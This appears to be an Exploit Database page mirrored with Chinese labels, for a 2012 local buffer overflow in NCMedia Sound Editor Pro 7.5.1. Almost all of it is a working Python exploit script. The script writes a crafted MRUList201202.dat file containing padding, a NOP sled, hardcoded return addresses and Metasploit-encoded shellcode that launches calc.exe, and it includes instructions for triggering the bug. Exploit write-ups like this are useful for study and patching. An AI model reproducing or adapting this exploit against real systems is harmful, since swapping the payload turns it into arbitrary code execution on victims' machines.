NCMedia Sound Editor Pro 7.5.1 – ‘MRUList201202.dat’ File Handling Buffer Overflow

• Exploit Database
• 99 阅读

• 作者： Julien Ahrens
  日期： 2012-09-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/21331/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

  #!/usr/bin/python # Exploit Title: NCMedia Sound Editor Pro v7.5.1 MRUList201202.dat File Handling Local Buffer Overflow # Version: 7.5.1 # Date:2012-08-07 # Author:Julien Ahrens # Website: http://www.inshell.net # Software Link: http://www.soundeditorpro.com/ # Tested on: Windows XP SP3 Professional German # Howto: Copy MRUList201202.dat to %appdata%\Sound Editor Pro\ --> Launch app --> Click on "File" Menu   from struct import pack   file="MRUList201202.dat"   # windows/exec CMD=calc.exe # Encoder: x86/shikata_ga_nai # powered by Metasploit # msfpayload windows/exec CMD=calc.exe R | msfencode -b &apos;\x00\x0d\x0a&apos;   shellcode = ("\xd9\xc7\xba\x2d\xdd\x15\x6d\xd9\x74\x24\xf4\x58\x29\xc9" + "\xb1\x33\x31\x50\x17\x03\x50\x17\x83\xed\xd9\xf7\x98\x11" + "\x09\x7e\x62\xe9\xca\xe1\xea\x0c\xfb\x33\x88\x45\xae\x83" + "\xda\x0b\x43\x6f\x8e\xbf\xd0\x1d\x07\xb0\x51\xab\x71\xff" + "\x62\x1d\xbe\x53\xa0\x3f\x42\xa9\xf5\x9f\x7b\x62\x08\xe1" + "\xbc\x9e\xe3\xb3\x15\xd5\x56\x24\x11\xab\x6a\x45\xf5\xa0" + "\xd3\x3d\x70\x76\xa7\xf7\x7b\xa6\x18\x83\x34\x5e\x12\xcb" + "\xe4\x5f\xf7\x0f\xd8\x16\x7c\xfb\xaa\xa9\x54\x35\x52\x98" + "\x98\x9a\x6d\x15\x15\xe2\xaa\x91\xc6\x91\xc0\xe2\x7b\xa2" + "\x12\x99\xa7\x27\x87\x39\x23\x9f\x63\xb8\xe0\x46\xe7\xb6" + "\x4d\x0c\xaf\xda\x50\xc1\xdb\xe6\xd9\xe4\x0b\x6f\x99\xc2" + "\x8f\x34\x79\x6a\x89\x90\x2c\x93\xc9\x7c\x90\x31\x81\x6e" + "\xc5\x40\xc8\xe4\x18\xc0\x76\x41\x1a\xda\x78\xe1\x73\xeb" + "\xf3\x6e\x03\xf4\xd1\xcb\xfb\xbe\x78\x7d\x94\x66\xe9\x3c" + "\xf9\x98\xc7\x02\x04\x1b\xe2\xfa\xf3\x03\x87\xff\xb8\x83" + "\x7b\x8d\xd1\x61\x7c\x22\xd1\xa3\x1f\xa5\x41\x2f\xce\x40" + "\xe2\xca\x0e")   junk1="\x41" * 12 nopsled="\x90" * 20 junk2="\x42" * (4108 - len(shellcode) - len(nopsled)) eip=pack(&apos;<L&apos;,0x004d893e) # ADD ESP,404 # POP EDI # POP ESI # RETN from SoundEditorPro.exe esp=pack(&apos;<L&apos;,0x7e8236d9) # CALL ESP from shell32.dll   poc=junk1 + esp + nopsled + shellcode + junk2 + eip   try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!"